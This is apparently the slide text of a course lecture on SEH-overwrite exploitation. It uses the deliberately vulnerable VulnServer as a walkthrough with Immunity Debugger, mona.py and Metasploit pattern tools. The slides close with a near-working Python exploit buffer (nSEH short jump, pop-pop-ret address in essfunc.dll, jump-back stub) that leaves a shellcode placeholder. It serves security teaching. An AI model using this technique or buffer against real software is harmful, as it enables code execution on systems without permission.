Module 07a SEH
Module 07a SEH
Module 07a SEH
Exploitation
SEC-300-01/CSI-301-02
Ali Hadi
@binaryz0ne
SEH Exploitation…
Canary
Buffer[1024]
www.ashemery.com 3
SEH Frame Overwrite Attack Cited [2]
www.ashemery.com 4
Demo #2
www.ashemery.com 5
Demo #2 – Cont.
www.ashemery.com 6
Demo #2 – Cont.
www.ashemery.com 7
Demo #2 – Cont.
www.ashemery.com 8
Visual Studio /SafeSEH Cited [2]
www.ashemery.com 9
SEH Case Study
Welcome to VulnServer …
SEH Based Exploitation
• Must know how SEH works
– server.exe
www.ashemery.com 11
Exploiting Case Study #2
• Trigger the vulnerability by sending a buffer of the “GMON /”
command and 4000 corrupted data
• Examine the SEH Handlers before and after running the code
above (inside Immunity Debugger press Alt+s)
www.ashemery.com 12
Exploiting Case Study #2
• Now we need to find the SEH compatible overwrite address,
lucky for us we can use mona.py from the Corelanc0d3rs team
– !mona seh –m <module-name>
– Use the essfunc.dll for this walkthrough
www.ashemery.com 13
Exploiting Case Study #2
• Now we need to find the overwriting offset
• This can be achieved using pattern_create from the
Metasploit Framework
• pattern_create 4000
www.ashemery.com 14
Exploiting Case Study #2
• What does this code mean?
– "\xEB\x0F\x90\x90“
• It means:
– JMP 0F, NOP, NOP
• JMP 0F instruction located in the four bytes immediately
before the overwritten SE handler address to Jump over both
the handler addresses and the first five instructions of the
shellcode, to finally land on the CALL instruction
• In other words, it will jump over 15 bytes which are:
– 2 bytes (NOP, NOP)
– 4 bytes Next SEH Recored Address
– 4 bytes SEH Handler Address
– 5 bytes of the shellcode
www.ashemery.com 15
Exploiting Case Study #2
• What does this code mean?
– "\x59\xFE\xCD\xFE\xCD\xFE\xCD\xFF\xE1\xE8\xF2\xFF\xFF\xFF“
www.ashemery.com 16
Exploiting Case Study #2
• The CALL instruction will place the address of the following
instruction in memory onto the stack
• Execution will continue to the POP ECX instruction at the start
of the shellcode
• Standard operation for the CALL is to push the address of the
following instruction onto the stack; execution will continue
from this point using a RETN once the CALLed function is
complete
• Now the POP ECX instruction will POP the contents of the top
entry of the stack, which contains the address just placed
there by the previous CALL statement, into the ECX register.
www.ashemery.com 17
Exploiting Case Study #2
• The next instruction will decrement the CH register by 1 three
times.
– Remember that the CH register is actually a sub register of ECX
affecting the second least significant byte of ECX.
– This will actually subtracting 1 from CH actually subtracts 256
from ECX register, and done three times this makes for a total of
768 subtracted from ECX.
• Finally the code will JMP to the address stored within the ECX
register.
www.ashemery.com 18
Final Exploiting Case Study #2 Code
cmd = "GMON /"
buf = "\x90" * 2752 # just junk
buf += "\x90" * 16 # shellcode starts here
buf += “shellcode” # our shellcode
buf += "\x90" * (3498 - len(buf))
buf += "\xEB\x0F\x90\x90" # JMP 0F, NOP, NOP
buf += "\xB4\x10\x50\x62" # SEH overwrite, essfunc.dll, POP EBX,
POP EBP, RET
buf += "\x59\xFE\xCD\xFE\xCD\xFE\xCD\xFF\xE1\xE8\xF2\xFF\xFF\xFF"
buf += "\x90" * (4000-len(buf)) # data after SEH handler
www.ashemery.com 19
Summary
• Explained how to exploit SEH
www.ashemery.com 20
References
• Vulnserver, Stephen Bradshaw, http://grey-
corner.blogspot.com/
• Grayhat Hacking: The Ethical Hacker’s Handbook, 3rd Edition
• The Shellcoders Handbook
• Exploit-DB: http://www.exploit-db.com/
• The Art of Exploitation, 2nd Edition
www.ashemery.com 21